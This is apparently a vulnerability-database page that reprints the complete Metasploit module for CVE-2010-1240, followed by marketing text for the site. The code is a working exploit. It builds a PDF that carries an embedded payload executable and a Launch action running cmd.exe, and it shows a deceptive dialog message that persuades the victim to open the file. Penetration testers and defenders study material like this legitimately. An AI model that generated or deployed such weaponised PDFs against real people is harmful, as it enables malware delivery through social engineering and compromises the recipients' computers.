| Reporter | Title | Published | Views | Family All 42 |
|---|---|---|---|---|
| Exploit for CVE-2010-1240 | 17 Sep 202507:57 | – | githubexploit | |
| Adobe Acrobat < 9.3.3 / 8.2.3 Multiple Vulnerabilities (APSB10-15) | 30 Jun 201000:00 | – | nessus | |
| Adobe Acrobat < 9.3.4 / 8.2.4 Multiple Vulnerabilities (APSB10-17) | 19 Aug 201000:00 | – | nessus | |
| Adobe Reader < 9.3.3 / 8.2.3 Multiple Vulnerabilities (APSB10-15) | 30 Jun 201000:00 | – | nessus | |
| Adobe Reader < 9.3.4 / 8.2.4 Multiple Vulnerabilities (APSB10-17) | 19 Aug 201000:00 | – | nessus | |
| RHEL 5 : acroread (RHSA-2010:0503) | 28 Jul 201000:00 | – | nessus | |
| openSUSE Security Update : acroread (openSUSE-SU-2010:0359-1) | 9 Jul 201000:00 | – | nessus | |
| openSUSE Security Update : acroread (openSUSE-SU-2010:0359-1) | 9 Jul 201000:00 | – | nessus | |
| openSUSE Security Update : acroread (openSUSE-SU-2010:0573-1) | 2 Sep 201000:00 | – | nessus | |
| openSUSE Security Update : acroread (openSUSE-SU-2010:0359-1) | 9 Jul 201000:00 | – | nessus |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::PDF_Parse
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Adobe PDF Embedded EXE Social Engineering',
'Description' => %q{
This module embeds a Metasploit payload into an existing PDF file. The
resulting PDF can be sent to a target as part of a social engineering attack.
},
'License' => MSF_LICENSE,
'Author' => [
'Colin Ames <amesc[at]attackresearch.com>', # initial module
'jduck' # add Documents for vista/win7/win10
],
'References' => [
[ 'CVE', '2010-1240' ],
[ 'OSVDB', '63667' ],
[ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
[ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
[ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-15.html' ]
],
'DisclosureDate' => '2010-03-29',
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Platform' => 'win',
'Targets' => [
[ 'Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7/10 (English)', { 'Ret' => '' } ]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [
ARTIFACTS_ON_DISK, # the EXE is transferred to disk to be executed
SCREEN_EFFECTS # a message is shown to the user, see: LAUNCH_MESSAGE
]
}
)
)
register_options(
[
OptPath.new('INFILENAME', [ true, 'The Input PDF filename.', ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2010-1240', 'template.pdf') ]),
OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
OptString.new('LAUNCH_MESSAGE', [
false, 'The message to display in the File: area',
'To view the encrypted content please check the "Do not show this message again" box and press Open.'
]),
]
)
end
def exploit
file_name = datastore['INFILENAME']
print_status("Reading in '#{file_name}'...")
stream = read_pdf
begin
print_status("Parsing '#{file_name}'...")
pdf_objects = parse_pdf(stream)
xref_trailers = pdf_objects[0]
trailers = pdf_objects[1]
startxrefs = pdf_objects[2]
root_obj = pdf_objects[3]
output = basic_social_engineering_exploit({
xref_trailers: xref_trailers,
root_obj: root_obj,
stream: stream,
trailers: trailers,
file_name: file_name,
startxref: startxrefs.last
})
print_good("Parsing Successful. Creating '#{datastore['FILENAME']}' file...")
file_create(output)
rescue KeyError => e
# Lazy fix:
# Similar to the problem with NoMethod -- something we need is missing in the PDF.
# But really what happens is the module trusts the PDF too much.
# Don't be sorry, you're a beautiful human we all appreciate greatly
print_error("Sorry, I'm picky. Incompatible PDF structure. Please try a different PDF template.")
elog('Sorry, I\'m picky. Incompatible PDF structure', error: e)
rescue NoMethodError => e
# Lazy fix:
# When a NoMethod error is hit, that means that something in the PDF is actually missing,
# so we can't parse it. If we can't parse it properly, then we can't garantee the exploit
# will work, either. So we might as well just reject it.
print_error("Sorry, I'm picky. Incompatible PDF structure, please try a different PDF template.")
elog('Sorry, I\'m picky. Incompatible PDF structure', error: e)
end
end
def ef_payload(pdf_name, obj_num)
print_status("Using '#{datastore['PAYLOAD']}' as payload...")
payload_exe = generate_payload_exe
file_size = payload_exe.length
stream = Rex::Text.zlib_deflate(payload_exe)
md5 = Rex::Text.md5(stream)
output = String.new
output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>"
output << "stream\r#{stream}\r\nendstream\rendobj\r"
return output
end
def js_payload(pdf_name, obj_num)
output = String.new
output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "
# change to the home drive/path no matter what
output << '%HOMEDRIVE%&cd %HOMEPATH%'
# check for the pdf in these dirs, in this order..
dirs = [ 'Desktop', 'My Documents', 'Documents', 'Escritorio', 'Mis Documentos' ]
dirs.each do |dir|
fmt = '&' \
'(' \
'if exist "%s" ' \
'(cd "%s")' \
')'
fname = "%s\\\\#{pdf_name}.pdf" % dir
output << fmt % [fname, dir]
end
launch_message = datastore['LAUNCH_MESSAGE']
lines = []
launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << ::Regexp.last_match(0) }
if (lines.length > 2)
print_warning('Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.')
end
output << '&' +
# NOTE: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/
"(start #{pdf_name}.pdf)" +
# NOTE: The below message modifies the text in the "File:" textfield of the "Launch File" dialog
("\n" * 10) +
launch_message +
# NOTE: this extra rparen is required.
')' \
">>>>\rendobj\r"
return output
end
def basic_social_engineering_exploit(opts = {})
xref_trailers = opts[:xref_trailers]
root_obj = opts[:root_obj]
stream = opts[:stream]
trailers = opts[:trailers]
file_name = opts[:file_name]
startxref = opts[:startxref]
file_name = file_name.split(%r{/}).pop.to_s
match = file_name.match(/(.+)\.pdf/)
if match
pdf_name = match[1]
end
catalog = parse_object(xref_trailers, root_obj, stream)
match = catalog.match(/Names (\d+ \d) R/m)
if match
names = parse_object(xref_trailers, match[1], stream)
match = names.match(/EmbeddedFiles (\d+ \d) R/m)
if match
embedded_files = parse_object(xref_trailers, match[1], stream)
new_embedded_files = embedded_files.gsub(/(\]>>)/m, "(\xfe\xff#{Rex::Text.to_unicode(pdf_name, 'utf-16be')})#{trailers[0].fetch('Size')} 0 R" + '\1')
else
new_names = names.gsub(/(>>.*)/m, "/EmbeddedFiles #{trailers[0].fetch('Size')} 0 R" + '\1')
end
else
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/Names #{trailers[0].fetch('Size')} 0 R")
end
if catalog.match(/OpenAction/m)
match = catalog.match(/OpenAction (\d+ \d) R/m)
if match
if new_catalog
if new_embedded_files
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
elsif new_names
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
else
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
end
elsif new_embedded_files
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
elsif new_names
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
else
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
end
elsif new_catalog
new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
else
new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
end
elsif new_catalog
if new_embedded_files
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
elsif new_names
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
else
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
end
elsif new_embedded_files
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
elsif new_names
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
else
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
end
pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
pages = parse_object(xref_trailers, pages_obj, stream)
page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
page = parse_object(xref_trailers, page_obj, stream)
match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
while match
page_obj = match[1]
page = parse_object(xref_trailers, page_obj, stream)
match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
end
match = page.match(%r{AA<</O (\d+ \d) R}m)
if match
aa = parse_object(xref_trailers, match[1], stream)
end
new_pdf = String.new
xrefs = String.new
pdf_payload = String.new
if new_embedded_files
num = trailers[0].fetch('Size').to_i - 1
pdf_payload << ef_payload(pdf_name, num)
pdf_payload << js_payload(pdf_name, num)
new_pdf << stream << pdf_payload
xrefs = xref_create(new_pdf, stream.length, '*')
new_size = trailers[0].fetch('Size').to_i + 4
if aa
new_page = page.gsub(%r{(AA<</O )\d+ \d R(.*)}m, '\1' + "#{trailers[0].fetch('Size').to_i + 3} 0" + '\2')
else
new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 3} 0 R>>" + '\1')
end
new_pdf << new_catalog
xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1')
new_pdf << new_page
xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1')
new_pdf << new_embedded_files
xrefs << xref_create(new_pdf, (new_pdf.length - new_embedded_files.length), '1')
if trailers[0].key?('ID')
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R/ID#{trailers[0].fetch('ID')}>>\r\n"
else
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R>>\r\n"
end
new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
elsif new_names
num = trailers[0].fetch('Size').to_i
pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name, 'utf-16be')})#{num + 1} 0 R]>>\rendobj\r"
pdf_payload << ef_payload(pdf_name, num)
pdf_payload << js_payload(pdf_name, num)
new_pdf << stream << pdf_payload
xrefs = xref_create(new_pdf, stream.length, '*')
new_size = trailers[0].fetch('Size').to_i + 5
if aa
new_page = page.gsub(%r{(AA<</O )\d+ \d(.*)}m, '\1' + "#{trailers[0].fetch('Size').to_i + 4} 0" + '\2')
else
new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 4} 0 R>>" + '\1')
end
new_pdf << new_catalog
xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1')
new_pdf << new_page
xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1')
new_pdf << new_names
xrefs << xref_create(new_pdf, (new_pdf.length - new_names.length), '1')
if trailers[0].key?('ID')
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R/ID#{trailers[0].fetch('ID')}>>\r\n"
else
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R>>\r\n"
end
new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
else
num = trailers[0].fetch('Size').to_i + 1
pdf_payload << "#{trailers[0].fetch('Size')} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
pdf_payload << ef_payload(pdf_name, num)
pdf_payload << js_payload(pdf_name, num)
new_pdf << stream << pdf_payload
xrefs = xref_create(new_pdf, stream.length, '*')
new_size = trailers[0].fetch('Size').to_i + 6
if aa
new_page = page.gsub(%r{(AA<</O )\d+ \d(.*)}m, '\1' + "#{trailers[0].fetch('Size').to_i + 5} 0" + '\2')
else
new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 5} 0 R>>" + '\1')
end
new_pdf << new_catalog
xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1')
new_pdf << new_page
xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1')
if trailers[0].key?('ID')
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R/ID#{trailers[0].fetch('ID')}>>\r\n"
else
new_pdf << "xref\r\n" << xrefs
new_pdf << "trailer\r\n"
new_pdf << "<</Size #{new_size}/Prev #{startxref}"
new_pdf << "/Root #{trailers[0].fetch('Root')} R"
new_pdf << "/Info #{trailers[0].fetch('Info')} R>>\r\n"
end
new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
end
return new_pdf
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation